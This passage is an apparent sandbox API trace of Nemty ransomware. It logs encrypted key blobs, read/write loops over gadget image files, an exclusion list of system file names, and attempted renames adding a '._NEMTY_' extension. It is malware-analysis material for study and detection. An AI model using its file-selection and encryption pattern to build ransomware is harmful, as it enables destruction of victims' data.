pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0115.734] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0115.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0115.734] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="GX3j2G9079v2eNB1C4a/lw/uO9j04R1Mlo9ILxsYD1CCdbK7iYt+7p9J5b3bW+Oq\r\nEk3kz/kHjZqQVD9ioehRXDaDmG8jyRJqQHw62njG2Fb+FeXp/Onlc2SMlAFWWqmj\r\ngZHvPHZfMV5fZJfmqLi8Oc/KkoBUQcZO/tM2n4E6sYL0BEhStbqEFAEQfaB5O/XB\r\nR5/txbdMewPmVAoTlose7gKmCg9pw9GxNu+wWT831ZTOlxTltyjwgrad29NYWBpD\r\nGgcmgoikQkVEc49JHNDzJ6/cWhcgEdSu3NNENp7oVhiXoKd8SqrsXhnS+EzVkTkS\r\npf/xFHtOQEnLCEAUhm1ycA==\r\n", pcchString=0x653e91c) returned 1 [0115.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0115.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0115.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0115.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0115.734] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.735] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0115.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0115.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.754] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0115.890] CloseHandle (hObject=0xffffffff) returned 0 [0115.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0115.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0115.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0115.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0115.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_s.png._nemty_kgobjgd_")) returned 0 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0115.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8296d2cc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8296d2cc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7fb7, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="diner_settings.png", cAlternateFileName="")) returned 1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2=".") returned 1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2="..") returned 1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2="...") returned 1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2="windows") returned -1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2="rsa") returned -1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2="NTDETECT.COM") returned -1 [0115.890] lstrcmpiW (lpString1="diner_settings.png", lpString2="ntldr") returned -1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="MSDOS.SYS") returned -1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="IO.SYS") returned -1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="boot.ini") returned 1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="boot.ini") returned 1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="ntuser.dat") returned -1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="desktop.ini") returned 1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="CONFIG.SYS") returned 1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="RECYCLER") returned -1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="bootmgr") returned 1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="programdata") returned -1 [0115.891] lstrcmpiW (lpString1="diner_settings.png", lpString2="appdata") returned 1 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_settings.png", lpUsedDefaultChar=0x0) returned 18 [0115.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_settings.png", lpUsedDefaultChar=0x0) returned 18 [0115.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0115.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_settings.png", lpUsedDefaultChar=0x0) returned 18 [0115.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_settings.png", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_settings.png", lpUsedDefaultChar=0x0) returned 18 [0115.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0115.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0115.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0115.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0115.892] Sleep (dwMilliseconds=0x5) [0115.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8bb6cf0, dwHighDateTime=0x1d561e7)) [0115.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8bb6cf0, dwHighDateTime=0x1d561e7)) [0115.906] GetLastError () returned 0x5 [0115.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0115.906] GetLastError () returned 0x5 [0115.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0115.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0115.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0115.906] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0115.906] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0115.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0115.906] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="LSCAiVhlI5H0W+RE5H3nNwCLIadZzDVuzSNN6CKgY3rUK3hppVBIWG2lz0IJlKuk\r\n7x+jBas5EYwzJ2pSqJdPNKdvfdh//zGaitqeHe1Cua53auvtkDG91GWrcOUe2/CK\r\n0bhP5PNFF4hCpachbLQk8AGepU+/ExC3lDuP4ffUBQnyy4tdFeEKOIoqM6hgjPig\r\nFAsVaEKWz38kpVVrm6cd/HolJVRo0qCA5Kx7UhGrdhs+SEMjG+WS25eoZyXASQud\r\n0FA71R63YJU7Lqc8lvjLhxZel4MvrM7a4VGz6bPef0NlyZlUzG2jkusLnL9HcNd/\r\niZwQNMQQQbTafq+xQ0OaGA==\r\n", pcchString=0x653e91c) returned 1 [0115.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0115.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0115.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0115.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0115.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0115.907] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.907] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0115.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0115.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, 